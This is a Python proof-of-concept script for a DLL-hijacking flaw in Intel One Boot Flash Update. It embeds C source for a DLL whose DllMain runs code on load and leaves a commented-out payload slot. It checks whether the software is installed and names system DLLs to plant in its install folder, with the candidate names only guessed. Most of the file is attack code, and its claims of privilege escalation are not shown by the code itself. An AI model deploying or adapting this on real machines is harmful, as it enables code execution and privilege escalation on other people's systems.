# CVE-2025-25059 DLL Hijacking PoC
# Target: Intel(R) One Boot Flash Update (OFU) < 14.1.31
# Type: Uncontrolled Search Path (DLL Hijacking)
import os
import ctypes
import shutil
import sys
def create_malicious_dll():
"""Create a malicious DLL that writes to a log file when loaded"""
dll_code = '''
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
FILE *fp = fopen("C:\\\\Temp\\\\cve_2025_25059_poc.txt", "w");
if (fp) {
fprintf(fp, "[+] DLL Hijacking Successful!\n");
fprintf(fp, "[+] Arbitrary code execution achieved\n");
fprintf(fp, "[+] Privilege Escalation Complete\n");
fclose(fp);
}
// Execute malicious payload here
// system("calc.exe"); // For demonstration
}
return TRUE;
}
'''
return dll_code
def find_vulnerable_dll_locations():
"""Identify potential DLL search path locations"""
common_paths = [
os.environ.get('SYSTEMROOT', 'C:\\Windows') + '\\System32',
os.environ.get('SYSTEMROOT', 'C:\\Windows') + '\\SysWOW64',
os.environ.get('PROGRAMFILES', 'C:\\Program Files'),
os.environ.get('APPDATA', os.path.expanduser('~\\AppData\\Roaming')),
'C:\\Program Files\\Intel\\OFU',
'C:\\Intel\\OFU',
'C:\\'
]
return common_paths
def check_exploitable():
"""Check if target system is vulnerable"""
# Check if Intel OFU is installed
ofu_paths = [
'C:\\Program Files\\Intel\\OFU',
'C:\\Intel\\OFU',
os.environ.get('PROGRAMFILES(X86)', 'C:\\Program Files (x86)') + '\\Intel\\OFU'
]
for path in ofu_paths:
if os.path.exists(path):
print(f'[+] Found Intel OFU installation: {path}')
return True, path
return False, None
def exploit():
"""Execute DLL hijacking attack"""
print('[*] CVE-2025-25059 DLL Hijacking PoC')
print('[*] Target: Intel OFU < 14.1.31')
vulnerable, target_path = check_exploitable()
if not vulnerable:
print('[-] Intel OFU not found on this system')
return False
print(f'[+] Target path: {target_path}')
# Common DLLs that Intel OFU might load
target_dlls = ['version.dll', 'winhttp.dll', 'crypt32.dll', 'advapi32.dll']
for dll in target_dlls:
dll_path = os.path.join(target_path, dll)
if not os.path.exists(dll_path):
print(f'[!] Potential DLL to hijack: {dll}')
print(f' Place malicious DLL at: {dll_path}')
print('\n[!] Attack requires:')
print(' 1. Write access to OFU installation directory')
print(' 2. Low-privilege code execution')
print(' 3. User interaction to trigger OFU')
print(' 4. High complexity attack chain')
return True
if __name__ == '__main__':
exploit()